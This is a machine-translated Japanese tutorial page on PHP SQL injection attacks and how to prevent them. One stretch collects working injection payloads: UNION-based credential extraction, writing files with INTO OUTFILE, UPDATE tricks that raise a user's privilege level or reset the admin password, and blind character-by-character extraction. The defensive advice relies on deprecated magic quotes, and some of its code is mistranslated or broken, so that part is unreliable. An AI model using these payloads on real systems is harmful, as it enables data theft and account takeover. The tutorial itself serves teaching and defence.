ホームページ  >  記事  >  バックエンド開発  >  PHP SQL インジェクション攻撃と予防策

PHP SQL インジェクション攻撃と予防策

WBOY
WBOYオリジナル
2016-07-25 08:52:571682ブラウズ
  1. // 想定される入力
  2. $name = "ilia'; DELETE FROM users;";
  3. mysql_query("SELECT * FROM users WHERE name='{$name}'");
コードをコピー

明らかに、データベースによって実行された最後のコマンドは次のとおりです。

  1. SELECT * FROM users WHERE name=ilia; DELETE FROM users
コードをコピー

これはデータベースに悲惨な結果をもたらします - すべてのレコードが削除されます。

ただし、使用しているデータベースが MySQL の場合、幸いなことに、mysql_query() 関数ではそのような操作を直接実行することはできません (複数のステートメントの操作を 1 行で実行することはできません)。安心してください。 使用されているデータベースが SQLite または PostgreSQL で、そのようなステートメントをサポートしている場合、悲惨な結果に直面することになります。

前述したように、SQL インジェクションは主に、攻撃の目的を達成するために、安全でないデータをデータベースに送信します。 SQLインジェクション攻撃を防ぐために、PHPには入力文字列を処理し、下位レベルで入力に対して事前のセキュリティ処理を実行できる機能、つまりMagic Quoteが搭載されています。 (php.ini magic_quotes_gpc)。 magic_quotes_gpc オプションが有効な場合、入力文字列内の単一引用符、二重引用符、およびその他の文字の前にバックスラッシュが自動的に付けられます。

しかし、Magic Quotes はあまり普遍的なソリューションではなく、すべての潜在的に危険な文字をブロックするわけではなく、Magic Quotes は多くのサーバーで有効になっていません。したがって、SQL インジェクションを防ぐために、他のさまざまな方法も使用する必要があります。

多くのデータベースは、この入力データ処理機能をネイティブに提供します。たとえば、PHP の MySQL 操作関数には、特殊文字やデータベース操作エラーの原因となる可能性のある文字をエスケープできる mysql_real_escape_string() という関数があります。 このコード:

  1. //Magic Quotes機能が有効な場合

  2. if (get_magic_quotes_gpc()) {
  3. $name =tripslashes($name)
  4. }else{
  5. $name = mysql_real_escape_string($name); ;
  6. }

  7. mysql_query("SELECT * FROM users WHERE name='{$name}'");

コードをコピー
データベース この機能を使用する前に、上記の例と同様に魔法の引用がオンになっているかどうかを確認する必要があります。そうでないと、処理を 2 回繰り返すとエラーが発生します。 MQ が有効な場合、実際のデータを取得するには、追加されたものを削除する必要があります。

上記の文字列形式のデータの前処理に加えて、バイナリデータをデータベースに保存する場合には、前処理にも注意する必要があります。そうしないと、データがデータベース自体の保存形式と競合し、データベースがクラッシュしたり、データ レコードが失われたり、データベース全体が失われたりする可能性があります。 PostgreSQL などの一部のデータベースは、バイナリ データのエンコードに特別に使用される関数 pg_escape_bytea() を提供しており、Base64 と同様にデータをエンコードできます。

例:

  1. // プレーンテキストデータの場合:

  2. pg_escape_string($ Regular_strings);

  3. // バイナリデータの場合:

  4. pg_escape_bytea($binary_data) ;

コードをコピー

別のケースでは、そのようなメカニズムも使用される必要があります。 つまり、データベース システム自体がサポートしていない中国語、日本語などのマルチバイト言語です。 それらの一部には、バイナリ データ範囲と重複する ASCII 範囲があります。

ここでは、PHP SQL インジェクション防止に関する 2 つの記事をお勧めします。1 つは 360 Security によって提供され、もう 1 つは作成者によって収集された PHP SQL インジェクション防止コードです。これは非常に強力で使いやすいです。
  • php アンチ SQL インジェクション コード (360 によって提供)
  • SQLインジェクション脆弱性フィルタリング機能を防ぐphpコード

ただし、データをエンコードすると、LIKE abc% などのクエリ ステートメントが無効になる可能性があります。

php SQLインジェクション実装(テストコードは安全です)

SQL インジェクションの焦点は、SQL を柔軟に使用することによってのみ SQL ステートメントを構築することです。 ステートメントを使用して新しい注入文字列を構築します。勉強した後はメモを書き、いつでも使えるようにしています。まずは以下の内容をお読みいただければ幸いです SQL の基本原則を理解します。メモ内のコードはインターネットから取得したものです。 ===基本部分=== このテーブルをクエリします。 http://127.0.0.1/injection/user.php?username=angel' および LENGTH(パスワード)='6 http://127.0.0.1/injection/user.php?username=angel' および LEFT(password,1)='m

労働組合の声明: http://127.0.0.1/injection/show.php?id=1' Union select 1、ユーザー名、パスワード from user/* http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user/*

ファイルをエクスポート: http://127.0.0.1/injection/user.php?username=angel' を出力ファイル 'c:/file.txt' に追加します http://127.0.0.1/injection/user.php?username=' または 1=1 を出力ファイル 'c:/file.txt http://127.0.0.1/injection/show.php?id=' ユーザーから出力ファイル 'c:/user.txt に 1、ユーザー名、パスワードを選択します

INSERT ステートメント: INSERT INTO `user` (ユーザーID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username', '$password', '$homepage', '1'); ホームページ値の構築: http://jbxue.com', '3')# SQL ステートメントは次のようになります。 INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', 'angel', 'mypass', 'http://jbxue.com', '3')#' 、'1');

更新ステートメント: 私はこれが好きです まずはこのSQLを理解してください

  1. UPDATE user SETpassword='MD5($password)',homepage='$homepage' WHERE id='$id'
コードをコピー

このSQLを以下の形に修正すると、次にインジェクションを実装しました 1: ホームページの値を次のように変更します。 http://jbxue.com'、ユーザーレベル='3 SQL ステートメントは次のようになります。

  1. UPDATE ユーザー SET パスワード = 'mypass'、ホームページ = 'http://jbxue.com'、ユーザーレベル = '3' WHERE id='$id'
コードをコピー

ユーザーレベルとしてレベル 2: パスワード値を次のように変更します。

  1. mypass)' WHERE username='admin'#
コード

をコピーすると、SQL ステートメントは次のようになります

  1. UPDATE ユーザー SET パスワード = 'MD5(mypass)' WHERE ユーザー名 = 'admin'#)'、ホームページ = '$homepage' WHERE id='$id'
コードをコピー

3: ID 値を次のように変更します。 ' またはユーザー名='管理者' SQL ステートメントは次のようになります。

  1. UPDATE ユーザー SET パスワード='MD5($password)'、ホームページ='$homepage' WHERE id='' OR username='admin'
コードをコピー

===高度なセクション= == よく使用される MySQL 組み込み関数 データベース() ユーザー() SYSTEM_USER() SESSION_USER() 現在の使用者() データベース() バージョン() 部分文字列() ミッド() char() ロードファイル() … 機能の適用 記事を更新 SET title=DATABASE() WHERE id=1 http://127.0.0.1/injection/show.php?id=-1 Union select 1,database(),version()

  1. SELECT * FROM user WHERE username=char(97,110,103,101,108)
  2. # char(97,110,103,101,108) は angel、10 進数に相当します
コードをコピー

http://127.0.0.1/injection/user.php?userid=1 およびpassword=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1およびLEFT(password,1 )>char(100) http://127.0.0.1/injection/user.php?userid=1 および ord(mid(password,3,1))>111

データ構造内のフィールドの数とタイプを決定する http://127.0.0.1/injection/show.php?id=-1 ユニオン選択 1,1,1 http://127.0.0.1/injection/show.php?id=-1 Union select char(97),char(97),char(97)

データテーブル名を推測してください http://127.0.0.1/injection/show.php?id=-1 メンバーから結合して 1,1,1 を選択します

ユーザー名とパスワードを取得するためのクロステーブルクエリ http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,ユーザー名,1,パスワード,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 (id=1 の ymdown_user から)

その他 #最初のパスワードを確認する http://127.0.0.1/ymdown/show.php?id=10 ユニオン選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 (ymdown_user から) (id=1、ord(mid(password,1,1))=49

===注射の予防=== サーバーの側面 magic_quotes_gpc がオンに設定されています display_errors はオフに設定されています コーディング面

  1. $keywords = addlashes($keywords);
  2. $keywords = str_replace("_","_",$keywords); ;
コードをコピー
数値型 intval() を使用してキャッチおよび置換します 文字列型 SQL ステートメントのパラメーターに一重引用符を追加する 次のコードはインジェクションを防ぐために使用されます。

    if (get_magic_quotes_gpc()) {
  1. //....
  2. }else{
  3. $str = mysql_real_escape_string($str)
  4. $keywords = str_replace("_","_",$keywords) );
  5. $keywords = str_replace("%","%",$keywords);
  6. 便利な関数 ストリップスラッシュ() get_magic_quotes_gpc() mysql_real_escape_string() ストリップタグ() 配列マップ() 追加スラッシュ()

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。